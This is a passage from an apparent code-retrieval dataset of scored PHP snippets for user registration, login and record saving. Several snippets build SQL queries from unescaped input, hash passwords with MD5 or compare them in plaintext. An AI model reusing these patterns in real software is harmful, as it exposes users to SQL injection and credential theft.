\t\theader('Location:?modulo=cita&accion=listar&id_cita='.$cita->getId_cita());\n\t \t}else{\n\t \t\tUtil::setMsj('Hubo un problema al actualizar la cita','danger');\n\t \t}\n\t }else{\n\n\t \tif( $db->insert($cita) instanceof cita ){\n\t \t\tUtil::setMsj('La cita fue insertada con éxito','success');\n\t \t}else{\n\t \t\tUtil::setMsj('Hubo un problema insertar la cita','danger');\n\t \t}\n header('Location:?modulo=cita&accion=listar&id_cita='.$cita->getId_cita());\n die();\n\t }\n \t}else{\n \t//si hay algun error, informar por pantalla\n \t}\n }", "title": "" }, { "docid": "86938c33f044a31d52d99ef2cac36bee", "score": "0.63846767", "text": "public function leer_usuario()\n\t\t\t{\n\t\t\t\t$sql=\"SELECT * FROM reg_user ORDER BY cont_vis DESC\";\n\t\t\t\t$res=mysql_query($sql,conectar::con());\n\t\t\t\twhile($reg=mysql_fetch_assoc($res))\n\t\t\t\t{\n\t\t\t\t\t$this->usuario[]=$reg;\n\t\t\t\t}\n\t\t\t\t\treturn $this->usuario;\t\n\t\t\t}", "title": "" }, { "docid": "748a6c40a1162799fc5ff039b9c3863d", "score": "0.63813895", "text": "function save(){\r\r\n if (!isset($this->username) || !isset($this->password)){\r\r\n $this->error[] = $_SESSION['translate']->it('Username and password must be set before user can be saved') . '.';\r\r\n return FALSE;\r\r\n }\r\r\n\r\r\n $sql['username'] = $this->username;\r\n $sql['password'] = $this->password;\r\n $sql['city'] = $this->city;\r\n $sql['state'] = $this->state;\r\n $sql['address'] = $this->address;\r\n $sql['zip'] = $this->zip;\r\n $sql['head'] = $this->head;\r\n $sql['email'] = $this->email;\r\n $sql['org'] = $this->org;\r\n $sql['rootOrg'] = $this->rootOrg;\r\n $sql['phone'] = $this->phone;\r\n $sql['realname'] = $this->realname;\r\n $sql['appuid'] = $this->appuid;\r\n\r\n if ($this->admin_switch)\r\r\n $sql['admin_switch'] = 1;\r\r\n else\r\r\n $sql['admin_switch'] = 0;\r\r\n\r\r\n if ($this->deity)\r\r\n $sql['deity'] = 1;\r\r\n else\r\r\n $sql['deity'] = 0;\r\r\n\r\r\n if (isset($this->groups)){\r\r\n $groups = $this->groups;\r\r\n PHPWS_Array::dropNulls($groups);\r\r\n $sql['groups'] = implode(':', array_keys($groups));\r\r\n }\r\r\n\r\r\n if ($this->user_id < 1)\r\r\n $this->user_id = $GLOBALS['core']->sqlInsert($sql, 'mod_users', FALSE, TRUE);\r\r\n else\r\r\n $GLOBALS['core']->sqlUpdate($sql, 'mod_users', 'user_id', $this->user_id);\r\r\n\r\r\n $this->updateUserGroups();\r\r\n return TRUE;\r\r\n }", "title": "" }, { "docid": "fff0f3bdb0c441586af009bc7498dda4", "score": "0.6381091", "text": "public function agregarUsuario($nombre, $correo, $contrasena, $matricula, $curriculum, $nivelDeEstudios, $tipos = NULL, $departamentos = NULL) {\n\t\t$resultados = $this->bd->query(\"SELECT * FROM usuarios WHERE nombre = \" . $this->bd->escapar($nombre) . \" AND correo = \" . $this->bd->escapar($correo));\n\t\t\n\t\tif( $resultados == false ) {\n\t\t\treturn 'Hubo un error con la base de datos:' . $this->bd->error();\n\t\t} elseif( $resultados->num_rows > 0 ) {\n\t\t\trequire_once('usuario.class.php');\n\t\t\t\n\t\t\tforeach( $resultados as $resultado ) {\n\t\t\t\t$nuevoUsuario = new Usuario($resultado['id']);\n\t\t\t\t\n\t\t\t\tif( isset( $tipos ) ) {\n\t\t\t\t\t\n\t\t\t\t\tforeach( $tipos as $tipoUsuario ) {\n\t\t\t\t\t\t$nuevoUsuario->agregarTipo( intval( $tipoUsuario ) );\n\t\t\t\t\t} // foreach( $tipos as $tipoUsuario ) {\n\t\t\t\t\t\t\n\t\t\t\t} // if( isset( $tipos ) ) {\n\t\t\t\t\n\t\t\t\tif( isset( $departamentos ) ) {\n\t\t\t\t\t\n\t\t\t\t\tforeach( $departamentos as $departamento ) {\n\t\t\t\t\t\t$nuevoUsuario->agregarDepartamento( $departamento );\n\t\t\t\t\t} // foreach( $departamentos as $departamento ) {\n\t\t\t\t\t\t\n\t\t\t\t} // if( isset( $departamentos ) ) {\n\t\t\t\t\n\t\t\t\treturn $nuevoUsuario;\n\t\t\t\t\n\t\t\t\tbreak;\n\t\t\t} // foreach( $resultados as $resultado ) {\n\t\t} else {\n\t\t\t\n\t\t\t$hash = password_hash($contrasena, PASSWORD_BCRYPT);\n\t\t\t\n\t\t\t$insercion = $this->bd->query(\"INSERT INTO usuarios (nombre, correo, contrasena, matricula, curriculum, nivel_estudios) VALUES (\" . $this->bd->escapar($nombre) . \",\" . $this->bd->escapar($correo) . \",'\" . $hash . \"',\" . $this->bd->escapar($matricula) . \",\" . $this->bd->escapar($curriculum) . \",\" . $this->bd->escapar($nivelDeEstudios) . \")\");\n\t\t\t\n\t\t\tif( $insercion == false ) {\n\t\t\t\techo 'Hubo un error con la base de datos:' . $this->bd->error();\n\t\t\t} else {\n\t\t\t\n\t\t\t\t// Consulta a tabla de usuarios\n\t\t\t\t$usuarioNuevo = $this->bd->query(\"SELECT * FROM usuarios WHERE nombre = \" . $this->bd->escapar($nombre) . \" AND correo = \" . $this->bd->escapar($correo));\n\t\t\t\t\n\t\t\t\tif( $usuarioNuevo == false ) {\n\t\t\t\t\techo 'Hubo un error con la base de datos:' . $this->bd->error();\n\t\t\t\t} elseif( $usuarioNuevo->num_rows > 0 ) {\n\t\t\t\t\trequire_once('usuario.class.php');\n\t\t\t\t\t\n\t\t\t\t\tforeach( $usuarioNuevo as $usuario ) {\n\t\t\t\t\t\t$nuevoUsuario = new Usuario( $usuario['id'] );\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( isset( $tipos ) ) {\n\t\t\t\t\t\t\tforeach( $tipos as $tipoUsuario ) {\n\t\t\t\t\t\t\t\t$nuevoUsuario->agregarTipo( intval( $tipoUsuario ) );\n\t\t\t\t\t\t\t} // foreach( $tipos as $tipoUsuario ) {\n\t\t\t\t\t\t} // if( isset( $tipos ) ) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif( isset( $departamentos ) ) {\n\t\t\t\t\t\t\tforeach( $departamentos as $departamento ) {\n\t\t\t\t\t\t\t\t$nuevoUsuario->agregarDepartamento( $departamento );\n\t\t\t\t\t\t\t} // foreach( $departamentos as $departamento ) {\n\t\t\t\t\t\t} // if( isset( $departamentos ) ) {\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn $nuevoUsuario;\n\t\t\t\t\t\t\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t} // foreach( $usuarioNuevo as $usuario ) {\n\t\t\t\t} // if( $usuarioNuevo == false ) { ... elseif ...\n\t\t\t} // if( $insercion == false ) { ... else ...\n\t\t} // if( $resultados == false ) { ... elseif ... else ...\n\t\t\n\t}", "title": "" }, { "docid": "82f532cf59f38b02862c32f6e003a5ed", "score": "0.6379935", "text": "public function store() {\n if($this->nome and $this->login and $this->password) # Não possibilita o registro caso não tenha todos os campos preenchidos\n {\n $sql = \"INSERT INTO usuarios SET nome = \". \"'\" .$this->nome.\"', login = \". \"'\" .$this->login.\"', password = \". \"'\" .md5($this->password).\"'\";\n\n $sql = $this->pdo->exec($sql);\n \n if($sql)\n {\n $this->id = $this->pdo->lastInsertId();\n return True;\n }\n }\n return false;\n }", "title": "" }, { "docid": "8758ffd9ada57900f5a76a8fa2e1e7f8", "score": "0.6379063", "text": "public function store(crearUsuarioRequest $request){\n $nombre = $request->input('name');\n $username = $request->input('username'); // Se asigna a una variable el valor del request que tenga el identificador nombre\n $rol=$request->input('rol');\n $email = $request->input('email');\n $password = $request->input('password');\n \n\n $consulta = DB::table('users')// Para insertar, se declara una variable y se iguala a DD::table donde pondremos el nombre de la tabla\n ->insert(['name'=> $nombre,'username'=> $username, 'email'=>$email,'password'=> Hash::make($password)\n ,'created_at'=> NOW()]);\n\n $consulta2 = DB::table('users')// para hacer una consulta se selecciona una tabla y de almacena en una variable\n ->select(DB::raw('MAX(id) id'))->first(); // Hay dos opciones, usar el DB::RAW para escribir las consultas con sintaxis de MySQl o solo separar por comas\n\n $consulta3 = DB::table('roles')\n ->insert(['id'=>$consulta2->id,'Rol'=>$rol]); \n if($consulta && $consulta3){// Si se ejecutaron todas las consultas correctamente\n return redirect('/Altas/Usuarios');// en caso de que si se redirecciona a una direccion(no es una vista)\n }else{\n return(\"Error al insertar los datos\");// solo diria no en caso contrario\n }\n }", "title": "" }, { "docid": "9d906794680848ac7dbdf50b1bb2e6ce", "score": "0.63749963", "text": "public function registro(Request $request)\n {\n\n $idLogin=null;\n\n $this->validate($request, [\n\t\t\t'nombre' => 'required',\n\t\t\t'apellidos' => 'required',\n 'telefono' => 'required',\n 'latitud' => 'required',\n\t\t\t'longitud' => 'required'\n ]);\n \n $email = $request->only(['correo','pasword']);\n\n \n Login::create($email);\n\n //Otra forma de llamar con select\n //$emails = Login::select('id')->where('correo', '=', \"juancarlos@gmail.com\")->pluck('id');\n $idLogin = Login::where('correo', '=', $request->correo)->value('id');\n \n $usuariomovil = new UsuarioMovil;\n $usuariomovil->foto = $request->foto;\n $usuariomovil->nombre = $request->nombre;\n $usuariomovil->apellidos = $request->apellidos;\n $usuariomovil->telefono = $request->telefono;\n $usuariomovil->sexo = $request->sexo;\n $usuariomovil->fecha_nacimiento = $request->fecha_nacimiento;\n $usuariomovil->fecha_registro = date(\"Y-m-d\");\n $usuariomovil->estado = \"1\";\n $usuariomovil->id_login = $idLogin;\n $usuariomovil->save();\n\n\n //Crea empleado y empleador\n $idUsuarioMovil= UsuarioMovil::where('id_login','=',$idLogin)->value('id');\n \n $empleador = new Empleador;\n $empleador->calificacion_empleador=0;\n $empleador->id_usuario_movil=$idUsuarioMovil;\n $empleador->save();\n \n $empleado = new Empleado;\n $empleado->calificacion_empleado=0;\n $empleado->estado_respaldo=\"0\";\n $empleado->estado=\"0\";\n $empleado->id_usuario_movil=$idUsuarioMovil;\n $empleado->save();\n\n $ubicacion = new Ubicacion;\n $ubicacion->latitud=$request->latitud;\n $ubicacion->longitud=$request->longitud;\n $ubicacion->id_usuario_movil=$idUsuarioMovil;\n $ubicacion->save();\n\n\n\n $usuario_movil= UsuarioMovil::where(['id' => $idLogin])->get();\n\n return response()->json(['data' => $usuario_movil]);\n }", "title": "" }, { "docid": "328cdb59eee23473ab9c2dface6fbf55", "score": "0.63741624", "text": "public function ingresar(){\n if (val_csrf()) {\n //echo 'esta bién logueado' ;\n //echo input('email') . '</br>';\n //echo input('password') . '</br>';\n\n $user= input('email');\n //$password = encriptar(input('password'));\n $password = input('password');\n $objOrm= new EtORM();\n $data = $objOrm->Ejecutar('login',array($user,$password));\n //var_dump($data);\n //exit();\n if (count($data) > 0) {\n $_SESSION['usuario'] = $data[0]['usuario'];\n $_SESSION['email'] = $data[0]['email'];\n $_SESSION['privilegio'] = $data[0]['privilegio'];\n\n redirecciona()->to('admin');\n }else{\n redirecciona( )->to('login')->withMessage(array(\n 'estado'=>'False',\n 'mensaje'=>'Usuario | Password incorrectos'\n ));\n }\n }else{\n echo 'Mensaje esta mal';\n // redirecciona( )->to('login')->withMessage(array(\n // 'estado'=>'False',\n // 'mensaje'=>'Sesión a caducado vuelva a iniciar'\n // ));\n }\n\n }", "title": "" }, { "docid": "935d986a6909b1ba2701d7495be4b36e", "score": "0.63701326", "text": "public function store_user()\n {\n\n $user = new User;\n $miembro = new Miembro;\n\n if ($miembro->save())\n {\n if ($miembro->user()->save($user))\n {\n Session::flash('message', 'Bienvenido a Sphellar');\n Auth::login($user);\n $this->event->fire(\"miembro.created\", array($miembro));\n return Redirect::to('/');\n }\n else\n {\n $miembro->delete();\n return Redirect::back()->withInput()->withErrors($user->errors());\n }\n }\n else\n {\n return Redirect::back()->withInput()->withErrors($miembro->errors());\n }\n }", "title": "" }, { "docid": "5e8f8daa6f0dc09daabfe4c597cb37c4", "score": "0.6360661", "text": "public function guarda_usuario($nomb,$ced,$telf,$fecha_nac,$sexo,$cont)\n\t\t\t{\n //\n$sql=\"INSERT INTO reg_user (nombre_user, cedula_user, telefono_user, fecha_nac, sexo_user, cont_vis)\"\n .\"value('$nomb', '$ced', '$telf', '$fecha_nac', '$sexo', '$cont')\";\n//\n\t\t\t\t$res=mysql_query($sql,conectar::con());\n //var_dump($res);\n if($res){\n \n return;\n \n }\n\t\t\t}", "title": "" }, { "docid": "c827ccbe3c3e78cf8159dbd54b0bcb85", "score": "0.635183", "text": "private function usrsavegeneral() {\n $id = 0;\n $resultado = 0;\n $pass = '';\n if ($this->UTILITY->validate_email($this->email)) {\n $arrjson = $this->UTILITY->error_wrong_email();\n } else {\n if ($this->id > 0) {\n //se verifica que el email está disponible\n $q = \"SELECT usuarios_id FROM biome1m_usuarios WHERE usuarios_correo = '\" . $this->email . \"' AND usuarios_id != $this->id \";\n $con = mysqli_query($this->conexion, $q) or die(mysqli_error($this->conexion) . \"***ERROR: \" . $q);\n $resultado = mysqli_num_rows($con);\n if ($resultado == 0) {\n //actualiza la informacion\n $q = \"SELECT usuarios_id FROM biome1m_usuarios WHERE usuarios_id = \" . $this->id;\n $con = mysqli_query($this->conexion, $q) or die(mysqli_error($this->conexion) . \"***ERROR: \" . $q);\n while ($obj = mysqli_fetch_object($con)) {\n $id = $obj->usuarios_id;\n if (strlen($this->pass) > 2) {\n $pass = $this->UTILITY->make_hash_pass($this->email, $this->pass);\n }\n $table = \"biome1m_usuarios\";\n $arrfieldscomma = array(\n 'usuarios_nombres' => $this->nombre,\n 'usuarios_apellidos' => $this->apellido,\n 'usuarios_cedula' => $this->identificacion,\n 'usuarios_contrasena' => $pass,\n 'usuarios_nacimiento' => $this->fechanaci,\n 'usuarios_ciudad' => $this->ciudad,\n 'usuarios_departamento' => $this->departamento,\n 'usuarios_direccion' => $this->direccion,\n 'usuarios_lineacorreo' => $this->lineacorreo,\n 'usuarios_correosespeciales' => $this->especialco,\n 'usuarios_ingeniero' => $this->ingeniero);\n $arrfieldsnocomma = array('usuarios_fechamodifi' => $this->UTILITY->date_now_server());\n $q = $this->UTILITY->make_query_update($table, \"usuarios_id = '$id'\", $arrfieldscomma, $arrfieldsnocomma);\n mysqli_query($this->conexion, $q) or die(mysqli_error($this->conexion) . \"***ERROR: \" . $q);\n $arrjson = array('output' => array('valid' => true, 'id' => $id));\n }\n } else {\n $arrjson = $this->UTILITY->error_user_already_exist();\n }\n } else {\n //se verifica que el email está disponible\n $q = \"SELECT usuarios_id FROM biome1m_usuarios WHERE usuarios_correo = '\" . $this->email . \"'\";\n $con = mysqli_query($this->conexion, $q) or die(mysqli_error($this->conexion) . \"***ERROR: \" . $q);\n $resultado = mysqli_num_rows($con);\n if ($resultado == 0) {\n if (strlen($this->pass) > 2) {\n $pass = $this->UTILITY->make_hash_pass($this->email, $this->pass);\n }\n $this->pass = $pass;\n\n $q = \"INSERT INTO biome1m_usuarios (usuarios_cedula, usuarios_nombres, usuarios_apellidos, usuarios_correo, usuarios_contrasena, usuarios_nacimiento, usuarios_ciudad, usuarios_departamento, usuarios_direccion, usuarios_lineacorreo, usuarios_correosespeciales, usuarios_borrado, usuarios_fechamodifi, usuarios_ingeniero) \n VALUES (\" . \"'$this->identificacion' \" . \", '$this->nombre' \" . \", '$this->apellido'\" . \", '$this->email'\" . \", '$this->pass'\" . \", '$this->fechanaci'\" . \", '$this->ciudad'\" . \", '$this->departamento'\". \", '$this->direccion'\" . \", $this->lineacorreo , $this->especialco , 0 ,\" . $this->UTILITY->date_now_server() . \", $this->ingeniero )\";\n mysqli_query($this->conexion, $q) or die(mysqli_error() . \"***ERROR: \" . $q);\n $id = mysqli_insert_id($this->conexion);\n $arrjson = array('output' => array('valid' => true, 'id' => $id));\n } else {\n $arrjson = $this->UTILITY->error_user_already_exist();\n }\n }\n }\n $this->response = ($arrjson);\n }", "title": "" }, { "docid": "27f5e4808df20ecad95c41b25610cf03", "score": "0.6348603", "text": "function validarusuario() {\r\n $PKUsuario = $this->ObjAcceso->getPKUsuario();\r\n $Password = $this->ObjAcceso->getPassword();\r\n //-------ARCHIVO PARA CONECTARNOS A LA BASE DE DATOS--------------------\r\n include(\"../conexion/conexion.php\");\r\n //---------CONSULTA PARA VALIDAR EL USUARIO-----------------------------\r\n $resultado = mysqli_query($conexion, \"call validarusuario('$PKUsuario','$Password')\");\r\n if (!$resultado) {\r\n return $conexion;\r\n } else {\r\n $this->resultado = $resultado;\r\n }\r\n }", "title": "" }, { "docid": "020c20c8bfe79df20a7e92d317a87486", "score": "0.6347177", "text": "public function registrarCliente(){\r\n try {\r\n $this-> uDao = new ClientesDAO();\r\n $this->uDtO = $this->uDao->verUno();\r\n } catch (Exception $ex) {\r\n \r\n }\r\n }", "title": "" }, { "docid": "c4e5af4c34c586ab9f3acdb777bfdc23", "score": "0.63468546", "text": "public function login()\n {\n\n $reqUser = $this->dbconnexion->connexion->prepare('SELECT * FROM fiche_personne INNER JOIN membre ON fiche_personne.id_perso = membre.id_fiche_perso WHERE email = :email AND mdp = :password');\n $reqUser->bindParam(':email', $this->paramsPost['email'], PDO::PARAM_STR);\n $reqUser->bindParam(':password', $this->paramsPost['password'], PDO::PARAM_STR);\n $reqUser->execute();\n $getUser = $reqUser->fetchAll(PDO::FETCH_OBJ);\n $this->createSession($getUser);\n\n }", "title": "" }, { "docid": "56908f035dd7e46f55b3673236c4b7be", "score": "0.6345827", "text": "public function register($object,$pass){\n\t\t\t$this->db->trans_begin();\n\t\t\t$datos_array = (array) $object;\n\t\t\t/**validamos si los datos estan rellenos o son nulos**/\n\n\t\t\tforeach ($datos_array as $datos) {\n\t\t\t\tif(!$datos || $datos ===''){\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\n\t\t\t}\n\t\t\t/*si estan rellenos procedemos a a ingresar los datos en la base de datos*/\n\t\t\t/*comprobamos si existe email o usuario*/\n\n\t\t\t$comprovarexiste = $this->db->select('nombre_usuario','email')->where('nombre',$datos_array[\"nombreusuario\"])->or_where('email',$datos_array[\"email\"])->get('administrador');\n\t\t\tif($comprovarexiste->num_rows()>0){\n\t\t\t\treturn $existe = 'El usuario o email ya existe por favor escoja otro';\n\t\t\t}\n\t\t\t/*si no existe email o usuario procedemos a ingresar en la base de datos*/\n\n\t\t\t$array_insert_congregacion = [\n\t\t\t\t\"nombre\" => $datos_array['nombrecongregacion'],\n\t\t\t\t\"provincia\" => $datos_array['provincia'],\n\t\t\t\t\"localidad\" => $datos_array['localidad'],\n\t\t\t];\n\n\t\t\t$datos = $this->db->insert('congregaciones',$array_insert_congregacion);\n\n\t\t\t/**recogemos el ultimo dato ingresado de la congregacion**/\n\t\t\t$conseguir_id_congregacion = $this->db->select('id')->order_by('id desc')->limit(1)->get('congregaciones');\n\t\t\t$conseguir_id_congregacion = $conseguir_id_congregacion->row_array();\n\n\t\t\t/*ingresamos los datos del usuario con el id_congregacion*/\n\n\t\t\t$array_insert_administrador = [\n\t\t\t\t\"ID_congregacion\" => $conseguir_id_congregacion['id'],\n\t\t\t\t\"nombre\" => $datos_array['nombreadministrador'],\n\t\t\t\t\"apellidos\" => $datos_array['apellidos'],\n\t\t\t\t\"nombre_usuario\" => $datos_array['nombreusuario'],\n\t\t\t\t\"email\" => $datos_array['email'],\n\t\t\t\t\"password\"\t\t\t => $pass\n\t\t\t\t];\n\t\t\t$this->db->insert('administrador',$array_insert_administrador);\n\n\t\t\t/*ingresamos a este administrador en la tabla publicadores ya ue es un publicador mas*/\n\t\t\t$admin_publicador = [\n\t\t\t\t\"ID_congregacion\" => $conseguir_id_congregacion['id'],\n\t\t\t\t\"nombre\" => $datos_array['nombreadministrador'],\n\t\t\t\t\"apellidos\" => $datos_array['apellidos'],\n\t\t\t\t\"email\" => $datos_array['email'],\n\t\t\t];\n\t\t\t$this->db->insert('publicadores',$admin_publicador);\n\n\t\t\t/**Ahora seleccionamos los datos del usuario que hemos ingresado con un left join para sacar el nombre de la congregacion**/\n\t\t\t$datos_user = $this->db->select('administrador.id,administrador.nombre,administrador.apellidos,administrador.email,congregaciones.nombre as nombre_congregacion')\n\t\t\t\t ->join('congregaciones', 'congregaciones.ID = administrador.ID_congregacion','left')->order_by('id desc')->limit(1)->get('administrador');\n\t\t\t$datos_user = $datos_user->row_array();\n\t\t\t/**llamamos a la libreria de encryptacion y encriptamos la password de seguridad de validacion y procedemos a insertarla en la base de datos**/\n\t\t\t$this->load->library('Encrypt_object');\n\t\t\t$claveseguraencryp = $this->encrypt_object->encrypt_clave_validar($datos_user['nombre'],$datos_user['id'],$datos_user['nombre_congregacion']);\n\t\t\t$arra_clavesegura = [\n\t\t\t\t'ID_administrador' => $datos_user['id'],\n\t\t\t\t'claveaut' => $claveseguraencryp\n\t\t\t\t];\n\t\t\t$this->db->insert('seguridad_validacion',$arra_clavesegura);\n\t\t\tif(date(\"m\") == \"09\" || date(\"m\") == \"10\" || date(\"m\") == \"11\" || date(\"m\") == \"12\"){\n\t\t\t\t$yearfinhis= date(\"y\")+1;\n\t\t\t\t$year = date(\"y\").\"-\".date(\"y\")+1;\n\t\t\t}else{\n\t\t\t\t$yearfinhis= date(\"y\");\n\t\t\t\t$year = (date(\"y\")-1).\"-\".date(\"y\");\n\t\t\t}\n\t\t\t$array_service_year=[\n\t\t\t\t\"ID_congregacion\" => $conseguir_id_congregacion['id'],\n\t\t\t\t\"year\" \t => $year,\n\t\t\t\t\"fecha_cierre\" => $yearfinhis.\"-08-31\",\n\t\t\t\t\"activo\" => 1\n\t\t\t];\n\t\t$this->db->insert('service_year',$array_service_year);\n\t\t\tif ($this->db->trans_status() === FALSE)\n\t\t\t{\n\t\t\t $this->db->trans_rollback();\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t $this->db->trans_commit();\n\t\t\t return $datos_user;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "cc939d987af54a8afb850917fdc85ddd", "score": "0.6344098", "text": "function registrar_usuario($datos_usuario,$dato_permisos){\n\t\t\n\t\t$estado = 'Activo';\n\t\t$foto_defecto = 'usuario_defecto.png';\n\t\t$confirmado = 0;\n\n\t\t/** Datos de prueba **/\n\t\t/*$datos_usuario = ['Nombre Prueba','Angulo','Asesor','usuario_administrador.png','vianchajohan@gmail.com','123','69234234','312312312'];*/\n\n\t\t//Se crea un objeto instanciado a la clase conexion\n\n\t\t$conexión = new Conexion();\n\n\t\t//Se usa el metodo conectar de la clase conexion\n\t\t$cadena_conexion = $conexión->Conectar();\n\n\n\t\t$stmt_user = $cadena_conexion->prepare(\"SELECT num_documento,tipo_documento,correo_electronico from usuario where (num_documento = :num_documento and tipo_documento =:tipo_documento) or correo_electronico =:correo_electronico\");\n\n\t\t$stmt_user->bindParam(':num_documento',$datos_usuario[6]);\n\t\t$stmt_user->bindParam(':tipo_documento',$datos_usuario[5]);\n\t\t$stmt_user->bindParam(':correo_electronico',$datos_usuario[4]);\n\n\n\t\t//Se verifica si el numero de documento y el correo ya existen en otro usuario\n\t\tif($stmt_user->execute()){\n\n\t\t\t$result_user = $stmt_user->fetchAll(PDO::FETCH_OBJ);\n\n\t\t\tif(count($result_user) == 1){\n\n\t\t\t\t//Se retorna 2 si el numero de documento ya exisste\n\t\t\t\tif(($result_user[0]->num_documento == $datos_usuario[6] && $result_user[0]->tipo_documento == $datos_usuario[5]) && $result_user[0]->correo_electronico != $datos_usuario[4]){\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\n\n\t\t\t\t//Se retorna 3 si el correo electronico ya existe\n\t\t\t\telse if ($result_user[0]->correo_electronico == $datos_usuario[4] && ($result_user[0]->num_documento != $datos_usuario[6] && $result_user[0]->tipo_documento != $datos_usuario[5])){\n\t\t\t\t\treturn 3;\n\t\t\t\t}\n\n\t\t\t\t//Se retorna 4 si el numero de documento y el correo existen\n\t\t\t\telse if($result_user[0]->correo_electronico == $datos_usuario[4] && ($result_user[0]->num_documento == $datos_usuario[6] && $result_user[0]->tipo_documento == $datos_usuario[5]))\n\t\t\t\t{\n\t\t\t\t\treturn 4;\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\telse if (count($result_user) > 1 ){\n\n\t\t\t\treturn 4;\n\n\t\t\t}\n\t\t}\n\n\t\t//Si si agrego algun permiso entonces..\n\t\tif($dato_permisos != null){\n\n\t\t\t//Se inicia una transaccion\n\t\t\t$cadena_conexion->beginTransaction();\n\t\t}\n\n\t\t//Realizamos el script para insertar un usuario\n\t\t$stmt = $cadena_conexion->prepare(\"INSERT INTO usuario (nombres,apellidos,cargo,foto,correo_electronico,tipo_documento,num_documento,telefono,celular,estado,confirmado) VALUES(:nombres,:apellidos,:cargo,:foto,:email,:tipo_documento,:num_documento,:telefono,:celular,:estado,:confirmado)\");\n\n\t\t//Parametros\n\t\t$stmt->bindParam(':nombres',$datos_usuario[0]);\n\t\t$stmt->bindParam(':apellidos',$datos_usuario[1]);\n\t\t$stmt->bindParam(':cargo',$datos_usuario[2]);\n\n\t\t//si el usuario no agrego una foto se le asignar una foto por defecto\n\t\tif($datos_usuario[3] == null){\n\t\t\t$stmt->bindParam(':foto',$foto_defecto);\n\n\t\t}\n\n\t\t//de lo contrario toma el valor del array datos usuario\n\t\telse{\n\t\t\t$stmt->bindParam(':foto',$datos_usuario[3]);\n\t\t}\n\n\t\t$stmt->bindParam(':email',$datos_usuario[4]);\n\t\t$stmt->bindParam(':tipo_documento',$datos_usuario[5]);\n\t\t$stmt->bindParam(':num_documento',$datos_usuario[6]);\n\t\t$stmt->bindParam(':telefono',$datos_usuario[7]);\n\t\t$stmt->bindParam(':celular',$datos_usuario[8]);\n\t\t$stmt->bindParam(':estado',$estado);\n\t\t$stmt->bindParam(':confirmado',$confirmado);\n\n\n\t\t//si la insercion del usuario se ejecuto entonces...\n\t\tif($stmt->execute()){\n\n\n\t\t\t//Si se agrego algun permiso entonces..\n\t\t\tif($dato_permisos != null){\n\n\n\t\t\t//Selecciona el ultimo id de la tabla usuario\n\t\t\t$stmt_id = $cadena_conexion->prepare(\"SELECT max(id_usuario) as 'id_usuario' FROM usuario\");\n\n\t\t\t//Se ejecuta la consulta\n\t\t\t$stmt_id->execute();\n\n\t\t\t//Gaurdo el id retornado por la consulta\n\t\t\t$id_usuario = $stmt_id->fetch();\n\n\t\t\t// se crea un contador para poder ejecutar varios inserciones a la tabla usuario_permiso\n\t\t\t$cont= 0;\n\n\t\t\t//se ejecuta el while donde el contador sea menor a la cantidad de permisos que se deseen registrar\n\t\t\t\twhile ($cont < count($dato_permisos)) {\n\n\t\t\t\t\n\t\t\t\t\t//script para insertar datos en la tabla usuario_permiso\n\t\t\t\t\t$stmt_p = $cadena_conexion->prepare(\"INSERT INTO usuario_permiso (id_permiso,id_usuario) VALUES(:id_permiso,:id_usuario)\");\n\n\t\t\t\t\t//Se envian los parametros \n\t\t\t\t\t//El array que resive el metodo lo enviamos en el primer parametro\n\t\t\t\t\t// en el segundo enviamos el array que retorna la consulta de el ultinmo usuario registrado\n\t\t\t\t\t$stmt_p->bindParam(':id_permiso',$dato_permisos[$cont]);\n\t\t\t\t\t$stmt_p->bindParam(':id_usuario',$id_usuario[0]);\n\n\t\t\t\t\t//si la ejecucion del script no se realiza entoces...\n\t\t\t\t\t$inser_p = $stmt_p->execute();\n\t\t\t\t\tif($inser_p == false){\n\n\t\t\t\t\t\t$cadena_conexion->rollBack();\n\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t//se aumenta el contador para seguir recorriendo el while\n\t\t\t\t\t$cont++;\t\n\t\t\t\t}\n\n\t\t\t\t$cadena_conexion->commit();\n\n\t\t\t\treturn true;\n\n\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t}\n\t\telse{\n\n\t\t\tif($dato_permisos != null){\n\n\t\t\t$cadena_conexion->rollBack();\n\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\n\t}", "title": "" }, { "docid": "fb5372e0473b76459b9d75e57ccd2cdd", "score": "0.6343738", "text": "public function gerenciaUsuario(){\n $user = new usuario();\n $array = $user->selecionarALLUser();\n if ($user->numRows() == 1){\n $usuarios = $user->result();\n }\n // $dados = array();\n\t\t// $dados[\"usuarios\"] = $usuarios;\n $this->arrayInfo[\"usuarios\"] = $array;\n $this->loadPainel(\"gerenciaUsuario\", $this->arrayInfo);\n }", "title": "" }, { "docid": "bb495029fe94cdb0e29cb209b9d0fd49", "score": "0.6341942", "text": "function add_new_user($handle, $task, $name_user, $last_name_user,$last_name_user2, $address_user, $phone_user, $acces_name, $password1, $password2, $email_user, $register_date, $id_user, $branch, $level_user)\n{\n\t// efectuamos la insertcion de los datos en la tabla users\n\t// verificamos si tiene telefono\n\tif(empty($phone_user)){\n\t// significa que no tiene telefono\n\t$phone_user=0;\t\n\t}\n\t// verificamos los campor de contraseña\n\tcheck_box_password($password1, $password2);\n\t// verificamos la disponibilidad del usuario\n exist_new_user($handle, $acces_name);\n\t// verificamos la disponibilidad del email\n\texist_new_email($handle, $email_user);\n\t// verificamos la disponibilidad del ID\n\texist_new_id($handle, $id_user);\n\n\t// si todo esta correcto procedemos a realizar la insercion del nuevo usuario\n\t$handle->query(\"INSERT INTO users VALUES('$acces_name','$name_user','$last_name_user','$last_name_user2','$address_user','$phone_user','$email_user','$branch',MD5('$password1'),\".\n\t\"'$id_user','$level_user','$register_date','0')\");\n\t// insertamos los datos de paginacion que tendra el usuario por defecto\n\t$handle->query(\"INSERT INTO paging_settings (id_user,views,view_date,view_date_to,nam_loc) VALUES('$acces_name','50','$register_date','$register_date','$branch')\");\n\t// verificamos el valor del task\n\tif($task==\"save\"){\n\t// mostramos mensaje de confirmacion redireccionamos a la ventana principal users\n\tok_add_new_user();\n\t}\n\telse{\n\t// 